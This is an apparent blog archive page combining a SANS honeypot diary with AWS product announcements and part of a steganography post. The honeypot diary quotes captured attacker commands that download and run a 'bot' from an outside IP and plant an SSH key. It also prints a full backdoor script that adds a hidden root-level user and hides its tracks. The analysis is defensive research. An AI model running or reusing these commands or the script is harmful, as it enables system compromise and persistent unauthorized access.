While hunting, I found an interesting picture. It's a PNG file that was concatenated with two interesting payloads. There are file formats that are good candidates to have data added at the end of the file. PNG is the case because the file format specifications says:
Monthly Archives: May 2025
Usage of "passwd" Command in DShield Honeypots, (Fri, May 30th)
DShield honeypots [1] receive different types of attack traffic and the volume of that traffic can change over time. I've been collecting data from a half dozen honeypots for a little over a year to make comparisons. This data includes:
- Cowrie logs [2], which contain SSH and telnet attacks
- Web honeypot logs
- Firewall logs (iptables)
- Packet captures using tcpdump
The highest volume of activity has been for my residentially hosted honeypot.
Figure 1: Cowrie log volume by honeypot starting on 4/21/2024, covering approximately 1 year.
The data is processed with some python scripts to identity data clusters and outliers [3]. This weekend I learned that there is only so much memory you can throw at a probelm before you need to consider a different strategy for analyzing data. While doing clustering of unique commands submitted to my honeypots, my python script crashed. It left me with a problem on what do to next. One of the options that I had was to try and look at a subset of the command data. But what subset?
Something that was interesting when previously reviewing the data was how many different kinds of password change attempts happened on honeypots. This was one of the reasons that I tried to do clustering in the first place. I wanted to be able to group similar commands, even if there were deviations, such as the username and password attempted for a password change command.
A summary of the data volume for submitted commands ("input" field in Cowrie data):
Unique commands: 536,508
Unique commands with "passwd
" used: 502,846
Percentage of commands with "passwd" included: 93.73%
Considering that 94% of the unique commands submitted had something to do with "passwd
", I decided to filter those out, which would allow me to cluster the remaining data without any memory errors. That still left how to review this password data and look for similar clusters. My solution was simply to sort the data alphabetically and take every third value for analysis.
# sort pandas dataframe using the "input" column
unique_commands_passwd = unique_commands_passwd.sort_values(by='input')
# take every third value from the dataframe and store it in a new datafame for analysis
unique_commands_passwd_subset = unique_commands_passwd.iloc[::3, :]
This allowed me to process the data, but it does have some shortcomings. If there were three adjacent entries that may have been outliers or unique clusters, some of that data would get filtered out. Another option in this case could be to randomly sample the data.
From this clustering process, 17 clusters emerged. Below are examples from each cluster.
Command | Cluster |
---|---|
apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 45ukd2Re) system && sudo usermod -aG sudo system |
0 |
echo "czhounp2mk0NIg9gRFnp2mk0NIg9gRFn"|passwd |
1 |
echo "$#@!QWER$#@!REWQFDSAVCXZnougti9mT9YAanougti9mT9YAan"|passwd |
2 |
echo "540df7f83845146f0287ff6d2da77900nE3oSNKfWpq1snE3oSNKfWpq1sn"|passwd |
3 |
echo "A@0599343813A@0599343813A@0599343813nymL1D2CvlBlWnymL1D2CvlBlWn"|passwd |
4 |
echo "ItsemoemoWashere2023supportnnZsvXDsxcCEmnnZsvXDsxcCEmn"|passwd |
5 |
echo "root:ddKCQwpLRc9Q"|chpasswd|bash |
6 |
echo -e "Passw0rdndljyjtNPLEwIndljyjtNPLEwI"|passwd|bash |
7 |
echo -e "xmrmining@isntprofitablen7UrX3NlsBj6in7UrX3NlsBj6i"|passwd|bash |
8 |
echo -e "540df7f83845146f0287ff6d2da77900nHB15VQlzOyOonHB15VQlzOyOo"|passwd|bash |
9 |
echo -e "A@0599343813A@0599343813A@0599343813nymL1D2CvlBlWnymL1D2CvlBlW"|passwd|bash |
10 |
echo -e "ItsemoemoWashere2023supportnnZsvXDsxcCEmnnZsvXDsxcCEm"|passwd|bash |
11 |
lscpu && echo -e "yNHYAVV3nyNHYAVV3" | passwd && curl https://ipinfo.io/org --insecure -s && free -h && apt |
12 |
lscpu | grep "CPU(s): " && echo -e "5XHeUh9gNe76n5XHeUh9gNe76" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; |
13 |
lscpu | grep "CPU(s): " && echo -e "9nz66TbaU9Y8n9nz66TbaU9Y8" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34[.]237 -j DROP; iptables -A INPUT -s 186.2.171[.]36 -j DROP |
14 |
lscpu | grep "CPU(s): " && echo -e "Gr7gWzAzts5ynGr7gWzAzts5y" | passwd && pkill bin.x86_64; cd /tmp; wget http://45.89.28[.]202/bot; curl -s -O http://45.89.28[.]202/bot; chmod 777 bot; ./bot; iptables -A INPUT -s 194.50.16[.]26 -j DROP; iptables -A INPUT -s 85.239.34.237 -j DROP |
15 |
openssl passwd -1 45ukd2Re |
16 |
Figure 2: Sampling of commands with "passwd" used for each cluster identified.
Some of these could probably be clustered better with different feature selections, but it's still a nice grouping. I was a bit more interested in what the outliers looked like (cluster=-1
).
Figure 3: Clustering outliers highlighting some more unique entries.
Commands |
---|
<rest of script not included> |
; arch_info=$(uname -m); cpu_count=$(nproc); gpu_count=$(lspci | egrep -i 'nvidia|amd' | grep -e VGA -e 3D | wc -l); echo -e "YnEGa37OnYnEGa37O" | passwd > /dev/null 2>&1; if [[ ! -d "${HOME}/.ssh" ]]; then; mkdir -p "${HOME}/.ssh" >/dev/null 2>&1; fi; touch "${HOME}/.ssh/authorized_keys" 2>/dev/null; if [ $? -eq 0 ]; then; echo -e "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAk5YcGjNbxRvJI6KfQNawBc4zXb5Hsbr0qflelvsdtu1MNvQ7M+ladgopaPp/trX4mBgSjqATZ9nNYqn/MEoc80k7eFBh+bRSpoNiR+yip5IeIs9mVHoIpDIP6YexqwQCffCXRIUPkcUOA/x/v3jySnP6HCyjn6QzKILlMl8zB3RKHiw0f14sRESr4SbI/Dp2SokPZxNBJwwa4MUa/hx5bTE/UqNU2+b6b+W+zR9YRl610TFE/mUaFiXgtnmQsrGG6zflB5JjxzWaHl3RRpHhaOe5GdPzf1OhXJv4mCt2VKwcLWIyRQxN3fsrrlCF2Sr3c0SjaYmhAnXtqmednQE+rw== server" > ${HOME}/.ssh/authorized_keys; chmod 600 ${HOME}/.ssh/authorized_keys >/dev/null 2>&1; chmod 700 ${HOME}/.ssh >/dev/null 2>&1; ssh_status="success"; else; ssh_status="failed"; fi; users=$(cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -v /bin/sync | grep -v /sbin/shutdown | grep -v /sbin/halt | cut -d: -f1 | sort); echo "$arch_info:$cpu_count:$gpu_count:$users:$ssh_status"; |
ps -HewO lstart ex;echo finalshell_separator;ls --color=never -l /proc/*/exe;echo finalshell_separator;cat /etc/passwd;echo finalshell_separator;ip addr;echo finalshell_separator;pwd;echo finalshell_separator;uname -s;uname -n;uname -r;uname -v;uname -m;uname -p;uname -i;uname -o;echo finalshell_separator;cat /etc/system-release;cat /etc/issue;echo finalshell_separator;cat /proc/cpuinfo;echo finalshell_separator; |
Figure 4: Commands that looked more unique among the cluster outliers.
These were much more interesting, especially the first one since I was anticipating to find a reference for the script somewhere, but have found anything. The full script here:
#!/bin/bash
username="local"
version="1.3"
if [ "$EUID" -ne 0 ]; then
echo "[-] Run as root!"
exit
fi
getent passwd $username > /dev/null
if [ $? -eq 0 ]; then
echo "[-] Username $username is already being used!"
exit
fi
echo "[+] SSH Vaccine Script v$version"
os=`lsb_release -is 2>/dev/null || echo unknown`
cpus=`lscpu 2>/dev/null | egrep "^CPU(s):" | sed -e "s/[^0-9]//g" || nproc 2>/dev/null || echo 0`
# Create the backdoor username.
echo "[!] Create username $username with administrator privilege."
if [ ! -d /home ]; then
mkdir /home
echo "[!] Folder /home was created."
fi
passwd=$(timeout 10 cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)
h="$pwhash"
if [ -x "$(command -v openssl)" ]; then
h=$(echo $passwd | openssl passwd -1 -stdin)
else
passwd="$pw"
fi
useradd $username -o -u 0 -g 0 -c "local" -m -d /home/$username -s /bin/bash -p "$h"
if ! grep -q "^$username:" /etc/passwd;then
echo "cannot add user"
exit
fi
if [ -x "$(command -v ed)" ]; then
printf "%sn" '$m1' wq | ed /etc/passwd -s
printf "%sn" '$m1' wq | ed /etc/shadow -s
else
lo=$(tail -1 /etc/passwd)
sed -i "/^$username:/d" /etc/passwd
sed -i "/^root:.*:0:0:/a $lo" /etc/passwd
lo=$(tail -1 /etc/shadow)
sed -i "/^$username:/d" /etc/shadow
sed -i "/^root:/a $lo" /etc/shadow
fi
echo "[!] Generated password: $passwd"
echo "[!] Set the profile."
echo "unset HISTFILE" >> /home/$username/.bashrc
echo 'export PS1="[$(tput setaf 2)][[$(tput sgr0)][$(tput bold)][$(tput setaf 2)]u@h W[$(tput sgr0)][$(tput setaf 2)]][$(tput sgr0)][$(tput bold)][$(tput setaf 7)]$ [$(tput sgr0)]"' >> /home/$username/.bashrc
echo "cd /var/www/httpd" >> /home/$username/.bashrc
echo "w" >> /home/$username/.bashrc
echo "################################################################################"
echo "#######################################################################" > /tmp/sshd_config_tmp
echo "# ! ! ! ! ! IMPORTANT ! ! ! ! ! #" >> /tmp/sshd_config_tmp
echo "# * Your system has detected a weak password for root account and for #" >> /tmp/sshd_config_tmp
echo "# security reasons, remote access via SSH has been blocked to prevent #" >> /tmp/sshd_config_tmp
echo "# unauthorized access. In order to enable again remote access to this #" >> /tmp/sshd_config_tmp
echo "# machine for root user via SSH, set a new complex password for root #" >> /tmp/sshd_config_tmp
echo "# account and delete 'DenyUsers root' line below on this config file. #" >> /tmp/sshd_config_tmp
echo "# * Restarting the SSH Daemon is required for changes to take effect. #" >> /tmp/sshd_config_tmp
echo "# #" >> /tmp/sshd_config_tmp
echo "# Bash commands: #" >> /tmp/sshd_config_tmp
echo "# passwd root (Changes your root password). #" >> /tmp/sshd_config_tmp
echo "# service sshd restart (Restart the SSH Daemon). #" >> /tmp/sshd_config_tmp
echo "DenyUsers root" >> /tmp/sshd_config_tmp
echo "#######################################################################" >> /tmp/sshd_config_tmp
cat /etc/ssh/sshd_config >> /tmp/sshd_config_tmp
yes | cp /tmp/sshd_config_tmp /etc/ssh/sshd_config > /dev/null 2>&1
rm -rf /tmp/sshd_config_tmp
systemctl restart ssh || systemctl restart sshd || service ssh restart || service sshd restart || /etc/init.d/ssh restart || /etc/init.d/sshd restart
if [ $? -eq 0 ];then
echo "SSHD restarted"
else
echo "SSHD error"
fi
ip=$ip
echo "[!] IP: $ip"
# Try to get a hostname from IP.
dns=`getent hosts $ip | awk '{print $2}'`
if [ -z "$dns" ]
then
dns=null
fi
echo "[!] DNS: $dns"
# Get country name from IP.
country=`wget -qO- https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || curl -ks -m30 https://api.db-ip.com/v2/free/$ip/countryName 2>/dev/null || echo X`
echo "[!] List of usernames on this machine:"
ls /home | awk '{print $1}'
echo "[!] List of ethernet IP addresses:"
ip addr show | grep -o "inet [0-9]*.[0-9]*.[0-9]*.[0-9]*" | grep -o "[0-9]*.[0-9]*.[0-9]*.[0-9]*"
echo "################################################################################"
# Print all info necessary about the machine.
echo ""
uname -a
echo "$username $passwd $h"
echo "$ip,$dns,root,$username,$passwd,$cpus,$os,$country"
echo ""
echo "################################################################################"
I have only seen this command once on my Digital Ocean honeypot on 9/13/2024 from %%ip:194.169.175.107%%. I'll dive into the script and some of the other activity from this host in a future diary.
The clustering exercise helped to find one item that was unqiue out of over 500,000 values. This was a good lesson for me to find ways to sample data and save memory resources.
[1] https://isc.sans.edu/honeypot.html
[2] https://github.com/cowrie/cowrie
[3] https://isc.sans.edu/diary/31050
—
Jesse La Grew
Handler
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Amazon FSx for Lustre launches new storage class with the lowest-cost and only fully elastic Lustre file storage
Seismic imaging is a geophysical technique used to create detailed pictures of the Earth’s subsurface structure. It works by generating seismic waves that travel into the ground, reflect off various rock layers and structures, and return to the surface where they’re detected by sensitive instruments known as geophones or hydrophones. The huge volumes of acquired data often reach petabytes for a single survey and this presents significant storage, processing, and management challenges for researchers and energy companies.
Customers who run these seismic imaging workloads or other high performance computing (HPC) workloads, such as weather forecasting, advanced driver-assistance system (ADAS) training, or genomics analysis, already store the huge volumes of data on either hard disk drive (HDD)-based or a combination of HDD and solid state drive (SSD) file storage on premises. However, as these on premises datasets and workloads scale, customers find it increasingly challenging and expensive due to the need to make upfront capital investments to keep up with performance needs of their workloads and avoid running out of storage capacity.
Today, we’re announcing the general availability of the Amazon FSx for Lustre Intelligent-Tiering, a new storage class that delivers virtually unlimited scalability, the only fully elastic Lustre file storage, and the lowest cost Lustre file storage in the cloud. With a starting price of less than $0.005 per GB-month, FSx for Lustre Intelligent-Tiering offers the lowest cost high-performance file storage in the cloud, reducing storage costs for infrequently accessed data by up to 96 percent compared to other managed Lustre options. Elasticity means you no longer need to provision storage capacity upfront because your file system will grow and shrink as you add or delete data, and you pay only for the amount of data you store.
FSx for Lustre Intelligent-Tiering automatically optimizes costs by tiering cold data to the applicable lower-cost storage tier based on access patterns and includes an optional SSD read cache to improve performance for your most latency sensitive workloads. Intelligent-Tiering delivers high performance whether you’re starting with gigabytes of experimental data or working with large petabyte-scale datasets for your most demanding artificial intelligence/machine learning (AI/ML) and HPC workloads. With the flexibility to adjust your file system’s performance independent of storage, Intelligent-Tiering delivers up to 34 percent better price performance than on premises HDD file systems. The Intelligent-Tiering storage class is optimized for HDD-based or mixed HDD/SSD workloads that have a combination of hot and cold data. You can migrate and run such workloads to FSx for Lustre Intelligent-Tiering without application changes, eliminating storage capacity planning and management, while paying only for the resources that you use.
Prior to this launch, customers used the FSx for Lustre SSD storage class to accelerate ML and HPC workloads that need all-SSD performance and consistent low-latency access to all data. However, many workloads have a combination of hot and cold data and they don’t need all-SSD storage for colder portions of the data. FSx for Lustre is increasingly used in AI/ML workloads to increase graphics processing unit (GPU) utilization, and now it’s even more cost optimized to be one of the options for these workloads.
FSx for Lustre Intelligent-Tiering
Your data moves between three storage tiers (Frequent Access, Infrequent Access, and Archive) with no effort on your part, so you get automatic cost savings with no upfront costs or commitments. The tiering works as follows:
Frequent Access – Data that has been accessed within the last 30 days is stored in this tier.
Infrequent Access – Data that hasn’t been accessed for 30 – 90 days is stored in this tier, at a 44 percent cost reduction from Frequent Access.
Archive – Data that hasn’t been accessed for 90 or more days is stored in this tier, at a 65 percent cost reduction compared to Infrequent Access.
Regardless of the storage tier, your data is stored across multiple AWS Availability Zones for redundancy and availability, compared to typical on-premises implementations, which are usually confined within a single physical location. Additionally, your data can be retrieved instantly in milliseconds.
Creating a file system
I can create a file system using the AWS Management Console, AWS Command Line Interface (AWS CLI), API, or AWS CloudFormation. On the console, I choose Create file system to get started.
I select Amazon FSx for Lustre and choose Next.
Now, it’s time to enter the rest of the information to create the file system. I enter a name (veliswa_fsxINT_1
) for my file system, and for deployment and storage class, I select Persistent, Intelligent-Tiering. I choose the desired Throughput capacity and the Metadata IOPS. The SSD read cache will be automatically configured by FSx for Lustre based on the specified throughput capacity. I leave the rest as the default, choose Next, and review my choices to create my file system.
With Amazon FSx for Lustre Intelligent-Tiering, you have the flexibility to provision the necessary performance for your workloads without having to provision any underlying storage capacity upfront.
I wanted to know which values were editable after creation, so I paid closer attention before finalizing the creation of the file system. I noted that Throughput capacity, Metadata IOPS, Security groups, SSD read cache, and a few others were editable later. After I start running the ML jobs, it might be necessary to increase the throughput capacity based on the volumes of data I’ll be processing, so this information is important to me.
The file system is now available. Considering that I’ll be running HPC workloads, I anticipate that I’ll be processing high volumes of data later, so I’ll increase the throughput capacity to 24 GB/s. After all, I only pay for the resources I use.
The SSD read cache is scaled automatically as your performance needs increase. You can adjust the cache size any time independently in user-provisioned mode or disable the read cache if you don’t need low-latency access.
- FSx for Lustre Intelligent-Tiering is designed to deliver up to multiple terabytes per second of total throughput.
- FSx for Lustre with Elastic Fabric Adapter (EFA)/GPU Direct Storage (GDS) support provides up to 12x (up to 1200 Gbps) higher per-client throughput compared to the previous FSx for Lustre systems.
- It can deliver up to tens of millions of IOPS for writes and cached reads. Data in the SSD read cache has submillisecond time-to-first-byte latencies, and all other data has time-to-first-byte latencies in the range of tens of milliseconds.
Now available
Here are a couple of things to keep in mind:
FSx Intelligent-Tiering storage class is available in the new FSx for Lustre file systems in the US East (N. Virginia, Ohio), US West (N. California, Oregon), Canada (Central), Europe (Frankfurt, Ireland, London, Stockholm), and Asia Pacific (Hong Kong, Mumbai, Seoul, Singapore, Sydney, Tokyo) AWS Regions.
You pay for data and metadata you store on your file system (GB/months). When you write data or when you read data that is not in the SSD read cache, you pay per operation. You pay for the total throughput capacity (in MBps/month), metadata IOPS (IOPS/month), and SSD read cache size for data and metadata (GB/month) you provision on your file system. To learn more, visit the Amazon FSx for Lustre Pricing page. To learn more about Amazon FSx for Lustre including this feature, visit the Amazon FSx for Lustre page.
Give Amazon FSx for Lustre Intelligent-Tiering a try in the Amazon FSx console today and send feedback to AWS re:Post for Amazon FSx for Lustre or through your usual AWS Support contacts.
– Veliswa.
How is the News Blog doing? Take this 1 minute survey!
(This survey is hosted by an external company. AWS handles your information as described in the AWS Privacy Notice. AWS will own the data gathered via this survey and will not share the information collected with survey respondents.)
Enhance AI-assisted development with Amazon ECS, Amazon EKS and AWS Serverless MCP server
Today, we’re introducing specialized Model Context Protocol (MCP) servers for Amazon Elastic Container Service (Amazon ECS), Amazon Elastic Kubernetes Service (Amazon EKS), and AWS Serverless, now available in the AWS Labs GitHub repository. These open source solutions extend AI development assistants capabilities with real-time, contextual responses that go beyond their pre-trained knowledge. While Large Language Models (LLM) within AI assistants rely on public documentation, MCP servers deliver current context and service-specific guidance to help you prevent common deployment errors and provide more accurate service interactions.
You can use these open source solutions to develop applications faster, using up-to-date knowledge of Amazon Web Services (AWS) capabilities and configurations during the build and deployment process. Whether you’re writing code in your integrated development environment (IDE), or debugging production issues, these MCP servers support AI code assistants with deep understanding of Amazon ECS, Amazon EKS, and AWS Serverless capabilities, accelerating the journey from code to production. They work with popular AI-enabled IDEs, including Amazon Q Developer on the command line (CLI), to help you build and deploy applications using natural language commands.
- The Amazon ECS MCP Server containerizes and deploys applications to Amazon ECS within minutes by configuring all relevant AWS resources, including load balancers, networking, auto-scaling, monitoring, Amazon ECS task definitions, and services. Using natural language instructions, you can manage cluster operations, implement auto-scaling strategies, and use real-time troubleshooting capabilities to identify and resolve deployment issues quickly.
- For Kubernetes environments, the Amazon EKS MCP Server provides AI assistants with up-to-date, contextual information about your specific EKS environment. It offers access to the latest EKS features, knowledge base, and cluster state information. This gives AI code assistants more accurate, tailored guidance throughout the application lifecycle, from initial setup to production deployment.
- The AWS Serverless MCP Server enhances the serverless development experience by providing AI coding assistants with comprehensive knowledge of serverless patterns, best practices, and AWS services. Using AWS Serverless Application Model Command Line Interface (AWS SAM CLI) integration, you can handle events and deploy infrastructure while implementing proven architectural patterns. This integration streamlines function lifecycles, service integrations, and operational requirements throughout your application development process. The server also provides contextual guidance for infrastructure as code decisions, AWS Lambda specific best practices, and event schemas for AWS Lambda event source mappings.
Let’s see it in action
If this is your first time using AWS MCP servers, visit the Installation and Setup guide in the AWS Labs GitHub repository to installation instructions. Once installed, add the following MCP server configuration to your local setup:
Install Amazon Q for command line and add the configuration to ~/.aws/amazonq/mcp.json
. If you’re already an Amazon Q CLI user, add only the configuration.
{
"mcpServers": {
"awslabs.aws-serverless-mcp": {
"command": "uvx",
"timeout": 60,
"args": ["awslabs.aws_serverless_mcp_server@latest"],
},
"awslabs.ecs-mcp-server": {
"disabled": false,
"command": "uv",
"timeout": 60,
"args": ["awslabs.ecs-mcp-server@latest"],
},
"awslabs.eks-mcp-server": {
"disabled": false,
"timeout": 60,
"command": "uv",
"args": ["awslabs.eks-mcp-server@latest"],
}
}
}
For this demo I’m going to use the Amazon Q CLI to create an application that understands video using 02_using_converse_api.ipynb
from Amazon Nova model cookbook repository as sample code. To do this, I send the following prompt:
I want to create a backend application that automatically extracts metadata and understands the content of images and videos uploaded to an S3 bucket and stores that information in a database. I'd like to use a serverless system for processing. Could you generate everything I need, including the code and commands or steps to set up the necessary infrastructure, for it to work from start to finish? - Use 02_using_converse_api.ipynb as example code for the image and video understanding.
Amazon Q CLI identifies the necessary tools, including the MCP serverawslabs.aws-serverless-mcp-server
. Through a single interaction, the AWS Serverless MCP server determines all requirements and best practices for building a robust architecture.
I ask to Amazon Q CLI that build and test the application, but encountered an error. Amazon Q CLI quickly resolved the issue using available tools. I verified success by checking the record created in the Amazon DynamoDB table and testing the application with the dog2.jpeg file.
To enhance video processing capabilities, I decided to migrate my media analysis application to a containerized architecture. I used this prompt:
I'd like you to create a simple application like the media analysis one, but instead of being serverless, it should be containerized. Please help me build it in a new CDK stack.
Amazon Q Developer begins building the application. I took advantage of this time to grab a coffee. When I returned to my desk, coffee in hand, I was pleasantly surprised to find the application ready. To ensure everything was up to current standards, I simply asked:
please review the code and all app using the awslabsecs_mcp_server tools
Amazon Q Developer CLI gives me a summary with all the improvements and a conclusion.
I ask it to make all the necessary changes, once ready I ask Amazon Q developer CLI to deploy it in my account, all using natural language.
After a few minutes, I review that I have a complete containerized application from the S3 bucket to all the necessary networking.
I ask Amazon Q developer CLI to test the app send it the-sea.mp4 video file and received a timed out error, so Amazon Q CLI decides to use the fetch_task_logs
from awslabsecs_mcp_server
tool to review the logs, identify the error and then fix it.
After a new deployment, I try it again, and the application successfully processed the video file
I can see the records in my Amazon DynamoDB table.
To test the Amazon EKS MCP server, I have code for a web app in the auction-website-main folder and I want to build a web robust app, for that I asked Amazon Q CLI to help me with this prompt:
Create a web application using the existing code in the auction-website-main folder. This application will grow, so I would like to create it in a new EKS cluster
Once the Docker file is created, Amazon Q CLI identifies generate_app_manifests
from awslabseks_mcp_server
as a reliable tool to create a Kubernetes manifests for the application.
Then create a new EKS cluster using the manage_eks_staks
tool.
Once the app is ready, the Amazon Q CLI deploys it and gives me a summary of what it created.
I can see the cluster status in the console.
After a few minutes and resolving a couple of issues using the search_eks_troubleshoot_guide
tool the application is ready to use.
Now I have a Kitties marketplace web app, deployed on Amazon EKS using only natural language commands through Amazon Q CLI.
Get started today
Visit the AWS Labs GitHub repository to start using these AWS MCP servers and enhance your AI-powered developmen there. The repository includes implementation guides, example configurations, and additional specialized servers to run AWS Lambda function, which transforms your existing AWS Lambda functions into AI-accessible tools without code modifications, and Amazon Bedrock Knowledge Bases Retrieval MCP server, which provides seamless access to your Amazon Bedrock knowledge bases. Other AWS specialized servers in the repository include documentation, example configurations, and implementation guides to begin building applications with greater speed and reliability.
To learn more about MCP Servers for AWS Serverless and Containers and how they can transform your AI-assisted application development, visit the Introducing AWS Serverless MCP Server: AI-powered development for modern applications, Automating AI-assisted container deployments with the Amazon ECS MCP Server, and Accelerating application development with the Amazon EKS MCP server deep-dive blogs.
— Eli
Alternate Data Streams ? Adversary Defense Evasion and Detection [Guest Diary], (Wed, May 28th)
[Guest Diary] Exploring a Use Case of Artificial Intelligence Assistance with Understanding an Attack, (Wed, May 28th)
Amazon Aurora DSQL is now generally available
Today, we’re announcing the general availability of Amazon Aurora DSQL, the fastest serverless distributed SQL database with virtually unlimited scale, the highest availability, and zero infrastructure management for always available applications. You can remove the operational burden of patching, upgrades, and maintenance downtime and count on an easy-to-use developer experience to create a new database in a few quick steps.
When we introduced the preview of Aurora DSQL at AWS re:Invent 2024, our customers were excited by this innovative solution to simplify complex relational database challenges. In his keynote, Dr. Werner Vogels, CTO of Amazon.com, talked about managing complexity upfront in the design of Aurora DSQL. Unlike most traditional databases, Aurora DSQL is disaggregated into multiple independent components such as a query processor, adjudicator, journal, and crossbar.
These components have high cohesion, communicate through well-specified APIs, and scale independently based on your workloads. This architecture enables multi-Region strong consistency with low latency and globally synchronized time. To learn more about how Aurora DSQL works behind the scenes, watch Dr. Werner Vogels’ keynote and read about an Aurora DSQL story.
The architecture of Amazon Aurora DSQL
Your application can use the fastest distributed SQL reads and writes and scale to meet any workload demand without any database sharding or instance upgrades. With Aurora DSQL, its active-active distributed architecture is designed for 99.99 percent availability in a single Region and 99.999 percent availability across multiple Regions. This means your applications can continue to read and write with strong consistency, even in the rare case an application is unable to connect to a Region cluster endpoint.
In a single-Region configuration, Aurora DSQL commits all write transactions to a distributed transaction log and synchronously replicates all committed log data to user storage replicas in three Availability Zones. Cluster storage replicas are distributed across a storage fleet and automatically scale to ensure optimal read performance.
Multi-Region clusters provide the same resilience and connectivity as single-Region clusters while improving availability through two Regional endpoints, one for each peered cluster Region. Both endpoints of a peered cluster present a single logical database and support concurrent read and write operations with strong data consistency. A third Region acts as a log-only witness which means there is is no cluster resource or endpoint. This means you can balance applications and connections for geographic locations, performance, or resiliency purposes, making sure readers consistently see the same data.
Aurora DSQL is an ideal choice to support applications using microservices and event-driven architectures, and you can design highly scalable solutions for industries such as banking, ecommerce, travel, and retail. It’s also ideal for multi-tenant software as a service (SaaS) applications and data-driven services like payment processing, gaming platforms, and social media applications that require multi-Region scalability and resilience.
Getting started with Amazon Aurora DSQL
Aurora DSQL provides a easy-to-use experience, starting with a simple console experience. You can use familiar SQL clients to leverage existing skillsets, and integration with other AWS services to improve managing databases.
To create an Aurora DSQL cluster, go to the Aurora DSQL console and choose Create cluster. You can choose either Single-Region or Multi-Region configuration options to help you establish the right database infrastructure for your needs.
1. Create a single-Region cluster
To create a single-Region cluster, you only choose Create cluster. That’s all.
In a few minutes, you’ll see your Aurora DSQL cluster created. To connect your cluster, you can use your favorite SQL client such as PostgreSQL interactive terminal, DBeaver, JetBrains DataGrip, or you can take various programmable approaches with a database endpoint and authentication token as a password. You can integrate with AWS Secrets Manager for automated token generation and rotation to secure and simplify managing credentials across your infrastructure.
To get the authentication token, choose Connect and Get Token in your cluster detail page. Copy the endpoint from Endpoint (Host) and the generated authentication token after Connect as admin is chosen in the Authentication token (Password) section.
Then, choose Open in CloudShell, and with a few clicks, you can seamlessly connect to your cluster.
After you connect the Aurora DSQL cluster, test your cluster by running sample SQL statements. You can also query SQL statements for your applications using your favorite programming languages: Python, Java, JavaScript, C++, Ruby, .NET, Rust, and Golang. You can build sample applications using a Django, Ruby on Rails, and AWS Lambda application to interact with Amazon Aurora DSQL.
2. Create a multi-Region cluster
To create a multi-Region cluster, you need to add the other cluster’s Amazon Resource Name (ARN) to peer the clusters.
To create the first cluster, choose Multi-Region in the console. You will also be required to choose the Witness Region, which receives data written to any peered Region but doesn’t have an endpoint. Choose Create cluster. If you already have a remote Region cluster, you can optionally enter its ARN.
Next, add an existing remote cluster or create your second cluster in another Region by choosing Create cluster.
Now, you can create the second cluster with your peer cluster ARN as the first cluster.
When the second cluster is created, you must peer the cluster in us-east-1
in order to complete the multi-Region creation.
Go to the first cluster page and choose Peer to confirm cluster peering for both clusters.
Now, your multi-Region cluster is created successfully. You can see details about the peers that are in other Regions in the Peers tab.
To get hands-on experience with Aurora DSQL, you can use this step-by-step workshop. It walks through the architecture, key considerations, and best practices as you build a sample retail rewards point application with active-active resiliency.
You can use the AWS SDKs, AWS Comand Line Interface (AWS CLI), and Aurora DSQL APIs to create and manage Aurora DSQL programmatically. To learn more, visit Setting up Aurora DSQL clusters in the Amazon Aurora DSQL User Guide.
What did we add after the preview?
We used your feedback and suggestions during the preview period to add new capabilities. We’ve highlighted a few of the new features and capabilities:
- Console experience –We improved your cluster management experience to create and peer multi-Region clusters as well as easily connect using AWS CloudShell.
- PostgreSQL features – We added support for views, unique secondary indexes for tables with existing data and launched Auto-Analyze which removes the need to manually maintain accurate table statistics. Learn about Aurora DSQL PostgreSQL-compatible features.
- Integration with AWS services –We integrated various AWS services such as AWS Backup for a full snapshot backup and Aurora DSQL cluster restore, AWS PrivateLink for private network connectivity, AWS CloudFormation for managing Aurora DSQL resources, and AWS CloudTrail for logging Aurora DSQL operations.
Aurora DSQL now provides a Model Context Protocol (MCP) server to improve developer productivity by making it easy for your generative AI models and database to interact through natural language. For example, install Amazon Q Developer CLI and configure Aurora DSQL MCP server. Amazon Q Developer CLI now has access to an Aurora DSQL cluster. You can easily explore the schema of your database, understand the structure of the tables, and even execute complex SQL queries, all without having to write any additional integration code.
Now available
Amazon Aurora DSQL is available today in the AWS US East (N. Virginia), US East (Ohio), US West (Oregon) Regions for single- and multi-Region clusters (two peers and one witness Region), Asia Pacific (Osaka) and Asia Pacific (Tokyo) for single-Region clusters, and Europe (Ireland), Europe (London), and Europe (Paris) for single-Region clusters.
You’re billed on a monthly basis using a single normalized billing unit called Distributed Processing Unit (DPU) for all request-based activity such as read/write. Storage is based on the total size of your database and measured in GB-months. You are only charged for one logical copy of your data per single-Region cluster or multi-Region peered cluster. As a part of the AWS Free Tier, your first 100,000 DPUs and 1 GB-month of storage each month is free. To learn more, visit Amazon Aurora DSQL Pricing.
Give Aurora DSQL a try for free in the Aurora DSQL console. For more information, visit the Aurora DSQL User Guide and send feedback to AWS re:Post for Aurora DSQL or through your usual AWS support contacts.
— Channy
SVG Steganography, (Mon, May 26th)
Didier recently published several diaries related to steganography. I have to admit that steganography isn't exactly my favorite topic. It is one of those "neat" infosec toys, but its applicability is limited. Data exfiltration usually does not require proper steganography, but just appending data to an image will usually work just fine.
On the other hand, it looks like the kids still like and enjoy diaries about steganography. For one of my recent podcasts, a viewer left a message asking about the use of SVG images for steganography, to avoid some of the loss issues with compressed image formats [1]. Image formats break down into two basic types: Bitmap and vector image formats. Most images you see are bitmap or pixel-based. These formats tend to be easier to create and display. However, they have the disadvantage of not being able to scale up, and the image size can become quite large, which in turn requires compression. While there are some commonly used lossless compression formats, many image formats accept some loss in detail to enhance compression. Steganography takes advantage of similar colors being indistinguishable from each other. However, the same issue is used by compression algorithms. Neighboring pixels with similar colors are often approximated by changing them all to the same color, simplifying compression.
The images below use JPEG compression. The "uncompressed" version on the left is 130kBytes, while the compressed version is around 23kBytes. For a quick glance, the images are identical, but if you zoom in a bit, you will probably see the "blockiness" of the compressed image caused by adjusting the colors. This compression would wipe out any steganography message
![]() |
![]() |
uncompressed | compressed |
